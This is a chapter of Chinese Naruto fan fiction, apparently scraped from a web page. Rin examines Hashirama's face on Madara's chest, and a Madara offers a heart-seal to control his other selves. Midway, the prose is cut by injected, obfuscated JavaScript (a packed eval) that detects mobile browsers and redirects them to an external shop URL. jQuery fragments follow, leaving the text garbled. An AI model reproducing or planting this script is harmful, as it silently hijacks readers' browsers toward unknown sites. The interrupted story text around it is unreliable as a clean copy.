在凛抬起手隔着衣物触碰到他的左胸时,此刻的灵魂斑反倒有种尘埃落定的感觉,以她的性格,去询问这件事是迟早的。
他本人对于这件事其实也不算很在意,在变强的路上有所牺牲很正常,更别说这种副作用不算什么,唯一可能考虑的是,凛起初会接受不了——
不过她应该会反应过来,最终接受……毕竟,这是个比较容易达成的条件。
想到这里,再度陷入平和的灵魂斑垂眸继续看着凛的动作,她指腹在他的胸膛心口处来回抚摸,似乎还没找到位置。
这让斑心情有些奇妙,就在他思索要不给她指明位置时,衣领被攥紧的力度自此传来,而后凛略微放大的面容覆盖在眸底——
她在扯他的衣服。
明白凛估计是觉得隔着衣服无法确定,灵魂斑在视线交叠到她将要扫到他脸颊的羽睫前,他抬起手臂并顺着她的力度把衣服扯开,以便于她能够清楚地看到。
由于灵魂斑抬手的举动,凛身体微微向后,她目光逐一落在他因解开衣服所显露的皮肤处。
白皙的锁骨处、流畅有力的臂膀,稍微向下的胸口……有些皮肉上的突起是注入柱间细胞的异变吗?
随着斑将上身衣服脱下后,完全看到他左胸口处的全貌后,凛的大脑宕机了一秒。
这已经无法昧着良心再说这是什么异变了,这分明就是柱间的脸吧?
凛的脸色由黑转白再转黑,她感觉这一天带来的震撼还是太多了,尤其是当她想到自己身上可能也会长出这种副作用——虽说斑记忆里那个小孩子还算正常,那也是夹杂着白绝躯体。
倘若可以,她还是想最大限度的保持自己本身的身体,别多出一些莫名奇妙的东西,改造到那个地步真是超出她的接受范围之外。
见凛的神情有点不太符合他先前的推测,灵魂斑在思索后,觉得可能她对于这种副作用无法接受,是以他安抚式的开口:
“我身上的异变是因为起初只能用我自己来实验而导致的,不代表我没有解决方法。”
他在地下时,对于柱间细胞的研究也算是有所成果。
凛没理会灵魂斑,她对于他记忆中展现的狂放派实验没什么信心,而且他中途也只是使用一些写轮眼作为实验——估计是在他离开木叶前从族中眼库中拿的,万花筒的样本也就两……一例。
斑的实验是靠谱不了,只是她也不算是能够静下心研究的人,倘若要走这一条路,一切只能等她这个世界的木叶建立,才能光明正大的获得柱间的血肉。
想着,凛略过灵魂斑,她俯身坐在床铺上,手腕搭在膝盖上,思绪渐起。
既然斑提及过扉间有实验室……不知道他的实验能力和斑比孰强孰弱,她倒是可以找个机会去试探他一下。
只是在试探前,这里应该有个更好的当事人询问。
凛抬眸望向灵魂斑,由于她是坐着的,她的视线不免自下而上,而在略过他胸口处的脸时,目光有些难捱地偏了偏,落在他脸上,问道:
“扉间的研究与实验能力怎么样?”
“……很不错,甚至出色。”
即使斑对于扉间很是厌恶,但他也不是一个凭着喜好来诋毁别人能力的人,评断道:
“木叶早期的研究就是从他开始。”
智谋加科研……听起来是另一种属性的SSR,挑个时间出族地找找他吧,其实要是以后用她的眼睛召唤并控制起另一个世界的扉间会更好一些。
得到答案的凛心情已然平复,她视线略抬,在又看到还站在她不远处的赤裸上半身的灵魂斑时,她不免觉得他有些碍眼。
主要是他顶着与户隐相似的样貌,但身体上完全完全不相似,在不知道前倒还好,在知道后实在破坏着她对户隐的印象。
她要换人。
“你……穿上衣服就出去吧。”
几乎在想到这点,凛示意灵魂斑将衣服穿上,并上前一步俯身把衣服捡起往他手中一塞。
听到这段话与凛动作中透露出的赶他走的信息,接过衣服的灵魂斑心底涌起一层说不清道不明的情绪——
他曾在她的要求下与她同床共枕,无论是起初目的是什么,她对于他应该都是有一种原先的依赖,在两个人当中,她挑选了他,即使他一开始并不习惯。
而凛平时对待其余的“他”,也足以证明她对待他的样貌与性格是满意的、信任的,说到底这些人都是源自于他不同的时间段。
只是得知了他胸前出现了柱间的脸,就使得她改变了想法吗?
灵魂斑慢吞吞地穿上衣服,在遮盖住胸口那张脸后,他眼眸倒映着站在他旁边、并没有将视线投过来的凛,摘下手套的指节白皙修长,轻轻握住她的肩膀,使她看过来的同时,他适时出声道:
“我想,你应该想要完全掌控三人,我可以帮你。”
因灵魂斑的动作,凛先是有点不自在,他的身影近乎笼罩着她,在屋内的昏暗环境中,她仿佛与其融为一体,而在听到他这段话时,她向后退步的动作止住,视线也再次落在他的脸上。
见到熟悉且投来的目光,灵魂斑心情好了一些,他面上不显,继续道:
“族中记录的秘术里,有一个封印在心脏的方式能够限制他人,后经过我改良,它可以完全控制住他人——这个方式在灵魂状态下,仍然能够使用。”
“这是你……最近研究出来的?”注意到斑言语中跨度,凛问道:
“如果是这样,那么它应该没有实验样本?针对那个陶土做的你,仍然可以使用吗?”
灵魂斑不意外她会在意另一个与他时间线相近的“他”,他颔首道:
“暂时没有试过,不过倘若你想先使用在‘他’身上也可以。”
凛眼眸眯起,她有点怀疑灵魂斑最先研究这种事的意图,只不过她确实觉得用在秽土斑身上没什么关系,于是,她开口道:
“那么,你就来证明给我看吧。”
这种事她不可能亲自动手,万一他爆起伤害到她怎么办?
听到这话,灵魂斑倒也不觉得为难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128576|195148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他本就打算用一个事例来取信她,因此很快的应了下来:
“等下一次见面,我会给你带一个礼物。”
否则,她肯定是不会再“挑选”他。
没抵抗凛推着他胸口的动作,保持着后退步伐,一路来到屋外的灵魂斑深深地看了她一眼,身影消失在墙后。
紧接着,庭院中随后又落入一个身影,族长斑眼眸略暗,瞥了眼前者离开的身影,迈步来到凛身边。
换人还挺快的。
凛在看到是族长斑后,她上前握住他的手腕,进入房间的同时,不经意问道:
“刚才,你和他们是一直待在我身边吗?”
凛感觉到在她问出这个问题时,她扣在他手腕处的肌肉稍微绷紧,只见族长斑默然了一会,他承认道:
“我对‘他’还是不太放心,所以,在离开后,还是多关注了一阵。”
转身合上樟子门,松开族长斑手腕的凛伴着从窗纸透出的环境光,能够看到他垂下的眼睫,以及投落在他眼下隐约的阴影。
这个斑应该是他们当中最年轻的,很接近户隐年龄的样貌,最重要的是,这个时间的他,胸口应当是没有柱间的脸。
凛对这件事很满意,尽管她会借助别人“看到”户隐,但平心而论她不想这种回忆过程会被第三个人、特别还是一个熟人的脸去打破。
就在凛即将伸出手,碰触到他的脸庞之际,垂下眼帘的族长斑突然出声:
“我刚才使用影分/身去往南贺川神社的石碑看过,上面的文字我也用写轮眼记录下来,你可以通过我的记忆看到。”
他记得,在回到族地前,凛就很在意这件事。
说完,灵魂斑低头望着她,凛果然神态一变,她抬起手,将准备放在他胸口处的指腹抚上他的侧脸,又用另一手指腹按下他的后颈。
事实上,她在听到族长斑去了南贺川神社的第一反应是他可能对所谓的“月之眼”计划上了心,这使得她的心情略微不太好,而后续他在提到她可以通过他的回忆再次看到时,这份情绪影响也就越深。
只是,心情糟糕归糟糕,有机会能够提前看到则是两说。
因此,凛藏下眼底弥漫出的情绪,望进他眼眸间正不断转动的写轮眼。
而就在凛捧着他的脸,用写轮眼查看着他的记忆时,由于两人距离很近,族长斑在顺从地低下头方便她查看的同时,他也可以很清楚地看到在他怀中的她肩侧衣服处有一些不太一样的折痕——
只瞬间,他想起另一个“他”出来时,并未带着手套。
斑了解自己,通常情况下,“他”是不可能摘下手套。
族长斑眉心微蹙,他心底疑窦丛生。
作为顶级忍者,斑的观察力远超常人,又因为构建幻术需要对现实人与物的积累,他想要回想起什么,总是格外容易。
与此同时,更多的细节也在此时此刻浮现眼前……“他”有些过分敞开的领口、略带皱巴且被人攥紧过的外衣——
族长斑脸色倏然阴沉。